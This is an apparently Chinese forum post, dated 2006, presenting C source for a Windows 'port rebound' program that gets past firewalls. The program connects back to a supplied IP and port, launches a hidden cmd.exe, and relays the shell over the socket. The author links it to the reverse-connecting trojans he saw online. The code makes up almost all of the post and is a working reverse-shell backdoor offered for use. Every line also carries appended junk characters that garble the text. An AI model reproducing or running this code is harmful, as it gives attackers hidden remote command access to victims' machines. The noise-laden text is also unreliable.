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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cV@^<  
TNN@G~@cm  
/* ============================== AX6:*aZB  
Rebound port in Windows NT ecH7")  
By wind,2006/7 R1Q,m  
===============================*/ U,T#{  
#include iR{@~JN=)  
#include hJ[keaO  
}1V+8'D  
#pragma comment(lib,"wsock32.lib") JzCkVF$  
KQ6][2-  
void OutputShell(); et/l7+/'  
SOCKET sClient; <Z_\2 YW A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;@gI*i N"  
cL.>e=x$  
void main(int argc,char **argv) m1]/8{EC7  
{ o%z^@Cq  
WSADATA stWsaData; NRP) 'E  
int nRet;  lFcHE c  
SOCKADDR_IN stSaiClient,stSaiServer; [okV[7  
Kx,X{$Pe  
if(argc != 3) s m G?y~  
{ !blGc$kC  
printf("Useage:\n\rRebound DestIP DestPort\n"); L[Y$ `e{zd  
return; XUR#|  
} &YD+ s%OL  
;O~FiA~`c  
WSAStartup(MAKEWORD(2,2),&stWsaData); >j ].`T  
s?1Aj<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); - "2 t^ Q  
%" mki>  
stSaiClient.sin_family = AF_INET; lWJYT <kt  
stSaiClient.sin_port = htons(0); *0L3#. i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `}uM91;  
d!Y%7LmSE@  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e?07o!7[;  
{ .`J*l=u$  
printf("Bind Socket Failed!\n"); %G6x\[,  
return; l& sEdEA  
} a Iyzt  
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stSaiServer.sin_family = AF_INET; vlDA/( &  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E#tfCM6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vZS/? pU~~  
;"EDFH#W  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) pjV70D8$A  
{ A~k: m0MX  
printf("Connect Error!"); g26_#4 P  
return; H|j]uLZ  
} '|v<^EH  
OutputShell(); zT/woiyB`  
} =c#mR" 1  
|t3}>+"?z  
void OutputShell() g}hNsU=$5~  
{ F/j ; q  
char szBuff[1024]; qQo*:3/];  
SECURITY_ATTRIBUTES stSecurityAttributes; yU7XX+cB7  
OSVERSIONINFO stOsversionInfo; ND=JpVkvZ?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F &5iA\  
STARTUPINFO stStartupInfo; j1+I_   
char *szShell; XS^du{ai  
PROCESS_INFORMATION stProcessInformation; \7xc*v [  
unsigned long lBytesRead; yEJ3O^(F  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XknNb{. r  
.Q@]+&`|}i  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F>[^m Xw  
stSecurityAttributes.lpSecurityDescriptor = 0; )G]J@36  
stSecurityAttributes.bInheritHandle = TRUE; Xf{p>-+DL  
/L! =##  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0lYP!\J3]%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PV=sqLM~  
&n83>Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MOB'rPIUI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }y+a )2  
stStartupInfo.wShowWindow = SW_HIDE; .S=|ZP+  
stStartupInfo.hStdInput = hReadPipe; w+!V,lU"^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :l Z\=2D  
"av/a   
GetVersionEx(&stOsversionInfo); } MP_  
3y:),;|5  
switch(stOsversionInfo.dwPlatformId) B"*PBJuOA  
{ ga;t`5+d  
case 1: k!+v*+R+V  
szShell = "command.com"; 7pep\  
break; #Ak9f-pf  
default: 9nlj{(  
szShell = "cmd.exe"; $}YN`:{  
break; L-q)48+^k  
} n36@&q+B&  
tLdQO"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NP~3!b  
^$oEM0h  
send(sClient,szMsg,77,0); fG.6S"|M  
while(1) ^y|`\oyqwN  
{ =ty{ugM<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); V!+<  
if(lBytesRead) fbah~[5}  
{ '?{L gj^R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -I#<?=0B  
send(sClient,szBuff,lBytesRead,0); m,w^,)  
} }>YEtA  
else ^QHgc_oDm  
{ pMUUF5  
lBytesRead=recv(sClient,szBuff,1024,0); y=SpIbn{  
if(lBytesRead<=0) break; Y~lOkH[z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pg<c vok  
} P{2ED1T\  
} $3970ni,?O  
;\/ RgN  
return; G(hnrRxn  
}
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